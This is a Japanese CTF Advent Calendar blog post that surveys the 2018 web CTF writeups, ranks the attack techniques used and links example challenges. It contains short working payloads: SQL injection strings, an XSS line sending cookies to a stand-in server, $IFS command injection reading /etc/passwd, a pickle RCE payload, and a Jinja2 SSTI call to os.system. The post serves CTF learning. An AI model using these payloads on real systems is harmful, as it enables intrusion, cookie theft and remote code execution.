【2018年】CTF Web問題のwriteupぜんぶ読む
CTF Advent Calendar 2018 - Adventarの16日目の記事です。
15日目は@_N4NU_さんの「どのCTFに出たらいいか分からない人のためのCTF一覧 (2018年版) - WTF!?」でした。
はじめに
なにごとも振り返りと復習が大事です。
まだ年末まで半月ほどありますが、Advent Calendarに合わせて、一足早く2018年のCTFイベントで出題された問題を振り返ります。Web問題を対象にwriteupを全部読んで、使用された攻撃手法を集計してランク付けするとともに、各攻撃手法を使用したwriteupをピックアップして紹介していきます。
CTFイベントに参戦した人は「あー、そんな問題あったねー」と振り返って頂ければと思いますし、未参戦の人は「へぇ、そんな攻撃手法あるんだなぁー」と感じて頂ければと思います。
集計対象
集計対象のイベントと問題は以下のとおりです。
- 2018年1月1日~12月15日(本記事の執筆時点)までに開催されたイベントであること。
- Online開催であること。
- Jeopardy形式であること。
- Web問題であること。
集計元データには、CTFTimeのArchiveおよび自チームで記録しているデータを使用しました。
ctftime.org
「Web問題」の判定にはCTFTimeのTagsとイベント公式ページのカテゴリを参考にしました。
サマリ
まずはCTFイベントと問題の合計です。
CTFイベント数
95イベント
(2018年12月15日現在。年内は残りX-MAS CTF 2018と35C3 CTFの2イベントのみ。)
Web問題数
366問
実は週2回のペースでイベントがあるんですね。
全てに参加しようとすると、ほぼ毎週末つぶれますね、はい。
次に、CTFTimeにwriteupが公開された問題数です。
Writeup公開数
310問 (全Web問題数の84.7%)
つまり、8割以上はwriteupが公開されるため、イベント期間中に自分で解けなくても大部分は復習できるということがわかります。但し、難問はそもそもの解答チームが少なくwriteupが公開されない確率も高いため、本当に知りたい難問のwriteupが無いケースが多いです。また、Web問題はwriteupが出る頃には出題サイトがクローズしているため、writeupを読むだけの机上確認しかできないことが多いです。
なお、私が解いた問題は、イベント終了後の数時間以内に当Blogでwriteupを公開していますので、出題サイトのクローズ前に復習することができます。writeup公開時にtwitterでも案内しています。(宣伝)
使用された攻撃手法ランキング
各問題のwriteupに出現した攻撃手法をカウントして作成したランキングです。
機械的な集計方法がないため、タイトルの通り310問のwriteupを全て読んで集計しました。
はい、想像以上にしんどかったです。
では、ランキングはこちら。
順位 | 攻撃手法 | 出題問題数 |
---|---|---|
1位 | SQL Injection | 44問 |
2位 | Remote Code Execution | 34問 |
3位 | Cross Site Scripting | 25問 |
4位 | OS Command Injection | 19問 |
4位 | Server Side Request Forgery | 19問 |
6位 | Local/Remote File Inclusion | 17問 |
7位 | Insecure Deserialization | 12問 |
8位 | Server-Side Template Injection | 10問 |
9位 | Directory Traversal | 9問 |
10位 | Prototype Pollution Attack | 6問 |
10位 | Race Condition | 6問 |
12位 | XML External Entity | 5問 |
12位 | Directory Brute-Force Attack | 5問 |
14位 | CSS Injection | 4問 |
15位 | Hash length extension attack | 3問 |
16位 | LDAP Injection | 2問 |
1つの問題に対して複数の攻撃手法を使用している場合は複数回カウントしています。また、どれにも該当していない場合は特にカウントしていません。(よって、合算しても全問題数に一致しません。)
次に、攻撃手法の説明および出題傾向の解説と、実際に出題された問題のwriteupを紹介していきます。
なお、10位の紹介を割愛していますが、自分でろくに解けておらず書けることがなかったため、とりやめました。
1位:SQL Injection (SQLi)【44問】
納得の1位です。特に説明は不要ですね。問題数が多かった理由として、作問しやすく環境も作りやすいという理由もあるかと思います。Warmup問題や学生向けイベントの問題にも多く出題されており、' or 1=1 #
でクリアできるような単純な問題も多かったです。
3つの攻撃手法をピックアップして紹介します。
1. Blind SQL Injection
Blind SQL Injectionを使用する問題は10問ありました。 応答データから成否を判断して文字列を特定していく問題が大多数でしたが、SECCONのオンライン予選の問題では応答時間から判断するTime Based SQL Injectionを使用しました。 手動で1文字ずつ確認していくのは非常に手間であるため、コード作成が必要です。 出題数も多く使用する機会も多いためコードをテンプレート化して準備しておくと良いかと思います。
当Blogでもwriteupを公開しています。
普通のSQL Injection(ブラックリスト回避あり)
- BSides Delhi CTF 2018 - Old School SQL
BSides Delhi CTF 2018 - Old School SQL - こんとろーるしーこんとろーるぶい
Time-Based Blind SQL Injection
- SECCON 2018 Quals - shooter
SECCON 2018 Quals - shooter - こんとろーるしーこんとろーるぶい
2. NoSQL Injection
SQL Injectionのカテゴリに入れてよいか悩みましたが、NoSQLデータベースに対するSQL? Injectionです。
MongoDB、Redis、ArangoDBの問題が出題されました。使用されている言語は、MongoDBはBSON、RedisはLUA Script、ArangoDBはArangoDB Query Languageらしいです。ArangoDB Query Languageは初めて聞きました。 知らない言語や文法であっても、その場でリファレンスを読んで頑張る力が求められます。
MongoDB
- ASIS CTF Quals 2018 - Personal website
CTFtime.org / ASIS CTF Quals 2018 / Personal website / Writeup
Redis
- HumanCTF - No vuln, trust me
CTFtime.org / HumanCTF / No vuln, trust me / Writeup
ArangoDB
- P.W.N. CTF - H!pster Startup
P.W.N University: web 200 - H!pster Startup writeup | Sebastian Neef - 0day.work
3. スペースを使用しないSQL Injection
「SQL Injectionの脆弱性がある項目を見つけたのに、半角スペースが禁止されている!どうしよう!」という時にバイパスする手法です。
例えば、select foo from baa
をselect(foo)from(baa)
で書き直せます。
実は昔から知られている手法だったようです。こちらの記事でまとめられていました。
- Jordan & Tunisia National CTF - Weird Blog
CTFtime.org / Jordan & Tunisia National CTF / Weird Blog / Writeup
2位:Remote Code Execution (RCE)【34問】
PHPファイル等の実行ファイルをサーバ内に作成またはアップロードする問題、eval等の文字列をコードとして評価する関数に入力文字列を通す問題、Insecure Deserializationとの合わせ技の問題、ソフトウェアの既知の脆弱性を利用した問題など、数多くのパターンがありました。Insecure Deserializationは後述します。
サーバ側でPHPファイルを作成させて実行する問題の中から1問紹介します。 この問題は、英数字が禁止されているため、記号だけでPHPファイルを作成しなければいけないという制約を、あるトリッキーな手法でバイパスしています。
- MEEPWN CTF 2018 - OmegaSector
MEEPWN CTF 2018 - OmegaSector - こんとろーるしーこんとろーるぶい
3位:Cross Site Scripting (XSS)【25問】
よくあるdocument.href = "http://myserver/" + document.cookie
をするだけといった問題は少なかったように感じます。
CSPによる制約を回避することが肝である問題が多かったです。
4つの攻撃手法をピックアップして紹介します。
1. 画像ファイルへスクリプト埋め込み
「XSSの脆弱性を発見したけれどContent-Security-Policy(CSP)によるSame-Origin Policyの制約のため、スクリプト実行ができない!」という時に、画像ファイルをアップロードする機能があれば、この攻撃手法を疑った方がよいです。スクリプトを埋め込んだ画像ファイルを同一サーバにアップロードすることで、Same-Origin Policyの制約を回避してスクリプトを実行させる手法です。
当Blogでもwriteupを公開しています。
RCTF 2018 - rBlog 2018
RCTF 2018 - rBlog 2018 - こんとろーるしーこんとろーるぶいTJCTF 2018 - Stupid Blog
TJCTF 2018 - Stupid Blog - こんとろーるしーこんとろーるぶい
2. Service Workerの利用
Service Workerを用いた攻撃手法の説明は、こちらの@kinugawamasato氏による説明資料を参照ください。
speakerdeck.com
出題された問題は以下の1問です。同じく@kinugawamasato氏によるwriteupです。
個人的には今年のWeb問題の中でトップレベルの良問と思っています。
- 0CTF/TCTF 2018 Quals - h4x0rs.space
0CTF/TCTF 2018 Quals h4x0rs.space Writeup (Web 1000) · GitHub
3. Cache Poisoning
攻撃者サーバ(自サーバ)に配置したスクリプトファイルをCDNにキャッシュさせて、管理者に踏ませる手法です。 「CTFでCache Poisoningが出題できるんだ!」と感心しました。
- CSAW CTF Qualification Round 2018 - Hacker Movie Club 200
Hacker Movie Club CSAW Quals 2018
4. AMPコンポーネントの利用
AMP(Accelerated Mobile Pages)とは、モバイル端末でウェブページを高速表示するフレームワークですが、そのAMPのコンポーネントを使用したXSSで管理者からCookieを窃取する手法です。AMP自体知らなかったため、その場でリファレンスを読んで頑張る力が求められました。
- RCTF 2018 - amp
RCTF 2018 - amp - こんとろーるしーこんとろーるぶい
4位:OS Command Injection 【19問】
backtick記号でOS Commandを括るだけで実行できたり、Rubyの場合は| OS Command
で実行できたりと、単純な問題も多かったです。
2014年に話題となったShellShockの問題も出題されました、油断ならないですね。
他、ソフトウェアの既知の脆弱性を利用した問題もいくつか出題されています。
2つの攻撃手法をピックアップして紹介します。
1. スペースを使用しないOS Command Injection
「OS Command Injectionの脆弱性がある項目を見つけたのに、半角スペースが禁止されている!どうしよう!」という時にバイパスする手法です。
$IFS
と$()
を使用します。$IFS
がスペースの代わりです。$()
は$IFS
と直後の文字を分離するときに使用します。何言っているかわかりませんね、以下が例です。
# $IFSの直後の文字が/や-の場合は問題ない root@kali:/# ls$IFS/etc/passwd /etc/passwd # $IFSの直後の文字を巻き込んで変数名として認識されエラーとなってしまった root@kali:/# ls$IFSetc/passwd bash: ls/passwd: No such file or directory # 空の実行コマンドである$()を挟めば解決 root@kali:/# ls$IFS$()etc/passwd etc/passwd
VolgaCTF 2018 Quals - SEOkings
CTFtime.org / VolgaCTF 2018 Quals / SEOkings / WriteupASIS CTF Quals 2018 - Nice Code
ASIS CTF Quals 2018 - Write-ups | Rawsec
2. Latex Injection
珍しいInjectionの紹介です。Latexでも油断できません。
- Nuit du Hack CTF Quals 2018 - Linked Out
Quals NDH 2018 - Linked Out | Tipi’Hack CTF team
4位:Server Side Request Forgery(SSRF) 【19問】
先日、徳丸先生が解説記事を執筆されていたSSRFです。
blog.tokumaru.org
実は今年のCTFでは、SSRFを使用する問題が多数ありました。
3つの攻撃手法をピックアップして紹介します。
1. AWS CLIへのアクセス
AWSのEC2インスタンスからhttp://169.254.169.254/
にアクセスすることで、インスタンス情報が取得できます。詳しくは臼田氏による説明資料を参照ください。
speakerdeck.com
DNSのRace Conditionを利用してSSRFを引き起こし、AWSのインスタンス情報を窃取する問題が1問出題されました。良問だったと思います。
- Security Fest CTF - Pongdom
Security Fest 2018 - Pongdom | JBZ CTF Team
2. gopherを使用したMySQL接続
なんと、curlでMySqlへ接続してSQLを実行できるのです。接続にはgopherプロトコルを使用します。gopher://mysqlサーバ/
のURLを叩くイメージです。よって、curlで内部ネットワークに接続可能なSSRF脆弱性があれば、外部から内部ネットワーク内のDBを参照できてしまいます。この手法を最初に見た時には非常に驚きました。
どうやら簡単に実行可能なGopherusというツールもでているようです。(まだ試せていないです。)
github.com
送信データを手作りした例
- ISITDTU CTF 2018 - Friss
ISITDTU CTF 2018 - Friss - こんとろーるしーこんとろーるぶい
Gopherusを使用した例
- InCTF 2018 - GoSQL
InCTF-2018 Web challenges writeup
3. Docker/Kubernetesの呼び出し
SSRFの脆弱性を突いて、DockerやKubernetesを操作する問題が出題されていました。
Dockerは/var/run/docker.sock
を使用して操作、Kubernetesはkubeletというエージェントが使用しているポートを使用して操作する解法でした。
Docker
- Real World CTF 2018 Quals - PrintMD
crblog
Kubernetes
- noxCTF 2018 - PSRF
[noxCTF] PSRF
6位:Local/Remote File Inclusion【17問】
Remote File Inclusionは1問だけで、Local File Inclutionばかりでした。PHPストリームラッパーを使用する問題が多かったです。
3つの攻撃手法をピックアップして紹介します。
1. PHPセッションファイルの利用
PHPのセッションファイルが/var/lib/php/sessions/
に格納されていることを利用して、攻撃コード等をセッションにセットした上で、LFIでセッションファイルをincludeさせる攻撃です。
- HITCON CTF 2018 - One Line PHP Challenge
HackMD - Collaborative markdown notes - Meepwn CTF Quals 2018 - Mapl Story
CTFtime.org / Meepwn CTF Quals 2018 / Mapl Story / Writeup
2. PHPストリームフィルタによるファイルチェックの回避
サーバ側でロードしたファイルが期待通りのファイル形式かチェックしている場合に、PHPストリームフィルタでデータを改変しチェックを回避する手法です。
例えば、flag{
から始まるテキストファイルをロードしたいけれど、サーバ側でロードするファイルが画像ファイルかどうかチェックしている場合があるとします。
iconvフィルタで間違った文字コード変換をすることでデータを改ざんし、画像ファイルと誤認させることができます。
以下が例です。flag{This_is_FLAG}
という文字列のテキストファイルを、IBM1154の文字コードからUTF-32BEの文字コードに変換することで、wbmpファイルと誤認させることができました。
php > echo file_get_contents("flag.txt"); flag{This_is_FLAG} php > $data=getimagesize("php://filter/convert.iconv.IBM1154.UTF-32BE/resource=flag.txt"); php > var_dump($data); array(5) { [0]=> int(4) [1]=> int(6) [2]=> int(15) [3]=> string(20) "width="4" height="6"" ["mime"]=> string(18) "image/vnd.wap.wbmp" }
これを応用し、フィルタを複数重ねることで変換後のデータ内容をある程度自由にコントロールできます。ただ、狙ったデータにするには試行錯誤が必要になりそうです。
iconvフィルタを使用した例
- Insomni'hack teaser 2018 - Cool Storage Service
Surprising CTF task solution using php://filter - gynvael.coldwind//vx.log
複数のフィルタを重ね掛けして、PHPセッションファイルからPHPコードに変換した例
- HITCON CTF 2018 - One Line PHP Challenge
HackMD - Collaborative markdown notes
3. Log Injection
クエリやUserAgentやRefererに攻撃コード等をセットしてリクエストし、攻撃コードをアクセスログに記録させたうえで、LFIでアクセスログファイルをincludeさせる攻撃です。
- Byte Bandits CTF 2018 - R3M3MB3R
CTFtime.org / Byte Bandits CTF 2018 / R3M3MB3R / Writeup
7位:Insecure Deserialization【12問】
2017年のOWASP Top10に新たに追加された「安全でないデシリアライゼーション」です。
2つの攻撃手法をピックアップして紹介します。
1. PHPGGCの使用
PHPGGCは、unserializeをトリガーに任意コードをを実行できる強力なガジェットです。
JavaのysoserialのPHP版とイメージすれば良さそうです。
3つの問題で使用されていました。
- Pwn2Win CTF 2018 - Berg’s Club
Pwn2Win CTF 2018 - HITCON CTF 2018 - Baby Cake
ctf/hitcon2018/baby-cake at master · PDKT-Team/ctf · GitHub - VolgaCTF 2018 Quals - Forgotten Task
ctfs/volgactf_2018_quals/forgotten_task at master · BlackFan/ctfs · GitHub
2. Pickle RCEの使用
pythonのPickleモジュールを使用して外部入力データのデシリアライズ処理をしている場合に任意コードを実行できる手法です。 以下、簡単な例です。
root@kali:~# python Python 3.6.6 (default, Jun 27 2018, 14:44:17) [GCC 8.1.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> import pickle >>> pickle.loads(b"cos\nsystem\n(S'id'\ntR.") uid=0(root) gid=0(root) groups=0(root) 0
2つの問題で使用されていました。
- Real World CTF 2018 Quals - bookhub
ctf/2018-07-28-real-world-quals/web_bookhub at master · p4-team/ctf · GitHub - HITB-XCTF GSEC CTF 2018 Quals - Python revenge
ctf/2018-04-11-hitb-quals/web_python at master · p4-team/ctf · GitHub
8位:Server-Side Template Injection(SSTI)【10問】
DjangoやJinja2などのテンプレートエンジンを使用して実装されたコードの脆弱性を突いて、任意コードの実行や変数参照を行う手法です。
例えば、flask.render_template_string(param)
といったコードがあり、任意の外部入力データをparam変数にセット可能とします。
param変数に{{url_for.__globals__.__getitem__('os').system('id')}}
をセットすることで、idコマンドが実行できてしまいます。
ただ、便利なモジュールや変数をそのまま使用できないようブラックリストによる入力文字列チェックを突破することが肝である問題が多かったです。 代表してチェックが厳しめな問題を紹介します。
TokyoWesterns CTF 4th 2018 - Shrine
CTFtime.org / TokyoWesterns CTF 4th 2018 / Shrine / WriteupHackIT CTF 2018 - Believer Case
HackIT CTF 2018 - Believer Case - こんとろーるしーこんとろーるぶい
9位:Directory Traversal 【9問】
LFIとセットで出題されていたり、Warmup的な問題が多かったです。その中でDirectory Traversalを使用してファイルを書き込んで解くという珍しい問題があったので紹介します。Directory TraversalでOSユーザの.bashrcを書き換えて、ログイン時に任意のコマンドを実行させるという手法でした。
- WhiteHat Grand Prix 2018 – Quals - web01
WhiteHat GP 2018 - web01 - こんとろーるしーこんとろーるぶい
12位:XML External Entity(XEE) 【5問】
こちらも2017年のOWASP Top10に新たに追加されました。 できることが限られているからか、特にトリッキーな利用例は無かったと思います。
- VolgaCTF 2018 Quals - Shop quest
ctf/2018/VolgaCTF-quals/Shop quest at master · shvetsovalex/ctf · GitHub
12位:Directory Brute-Force Attack 【5問】
niktoやdirb等のツールで、URLのパス名のBlute-Forceをかけて有用なリソースがあるか確認する攻撃手法です。 CTFにおいてはルールで禁止されている場合が多いです。
ツールによるBlute-Forceが必要なパス名と解釈するか、常識的に確認すべきパス名と解釈するか(例えばrobots.txtは必ずチェックしますよね)、 個人差や程度問題はありますが、ツール使用が必要であると私が判断したものとして以下のパス名を探し当てる問題がありました。
- /.git
- /accounts.xml
- /.htpasswd
- /secret/
/.gitは、もはやノーヒントでも常識的に確認すべきパス名なのかもしれません。
なお、robots.txtにヒントまたはフラグが記載されている問題は計12問ありました。Writeup公開済み問題数の約3.9%ですね。
14位:CSS Injection 【4問】
CSS Injectionの説明は、こちらの@lmt_swallow氏による説明資料を参照ください。
speakerdeck.com
出題数は4問だけでしたが、Google CTF、SECCONで出題されており、定期的に出題されることが予想されます。 すぐに実行できるよう、攻撃スクリプトのテンプレートを用意しておきたいですね。
- Harekaze CTF 2018 - A custom CSS for the flag
Harekaze CTF 2018 - A custom CSS for the flag | JBZ CTF Team - Google Capture The Flag 2018 (Quals) - CAT CHAT
Cat Chat – Google CTF 2018 | LuD1161's Blog - SECCON 2018 Quals - GhostKingdom
SECCON 2018 Quals - GhostKingdom - こんとろーるしーこんとろーるぶい
15位:Hash length extension attack 【3問】
Hash length extension attackと、使用するツールであるHashPumpの説明はこちらを参照ください。
CTF/Toolkit/HashPump - 電気通信大学MMA
意外に3問もありました。saltを先頭につけてハッシュ計算している処理がある場合に、この手法の使用を疑った方がよいかもしれません。
16位:LDAP Injection 【2問】
SQL InjectionのLDAP(Lightweight Directory Access Protocol)版です。
payload集もあります。
github.com
項目名がノーヒントだとしても、LDAPで使用されている代表的なオブジェクトクラスの属性名を調べて試す必要がありました。
- CSAW CTF Qualification Round 2018 - ldab
LDAB - WEB 50 - CSAW 18 - FAID MOHAMMED AMINE | Blog - noxCTF 2018 - Dictionary of obscure sorrows
noxCTF 2018 - Dictionary of obscure sorrows - こんとろーるしーこんとろーるぶい
番外編:ソフトウェアの既知の脆弱性を利用した攻撃
Web問題に挑戦していて手詰りになると、ソフトウェアの既知の脆弱性を疑い始めます。(ただ、大概、空振りに終わります。)
そこで、既知の脆弱性を利用した攻撃を使う問題はどの程度あるか調べてみたところ、計16問 (Writeup公開済み問題数の5.2%)でした。思ったより多いです。バナー情報や出題者から公開されているリポジトリ情報から、ソフトウェアのバージョン番号がわかる場合は、既知の脆弱性を使用する問題か疑った方がよいかもしれません。
なお、対象のソフトウェアは以下の通りです。
- Bash
- beego
- fastjson
- Ghostscript
- imagemagick
- Interspire Email Marketer
- lodash
- log4j
- Oracle
- Richfaces
- smarty
- Sprockets
- struts2
- webpy
- WordPress(2問)
まとめ
実は、最初に集計方法や観点をあまり考えずに読み始め、途中でBlog記事に落とし込むにあたり必要となる情報が変わったため、結果、2周(310問×2回)読みました。きつかった。土日が2回潰れた感ある。こういうのは、各イベントの開催直後に随時まとめていく方がよいかなと思いますが、開催の数か月後にwriteupが公開されることもあるため、それもまた微妙です。覚悟を決めて一括で年末にやるしかないのか。
さて、まとめてみると、結構、過去に出た同じ解法を軸とした問題が多いことに気付きました。過去問だいじ。また、類似問題のwriteupにすぐにアクセス可能なデータ収集ができたため、今後のCTFイベントで活用していきたいと思います。 差し当たり、SECCON国際決勝を頑張ります。
明日のCTF Advent Calendar 2018 - Adventarは@icchyさんです。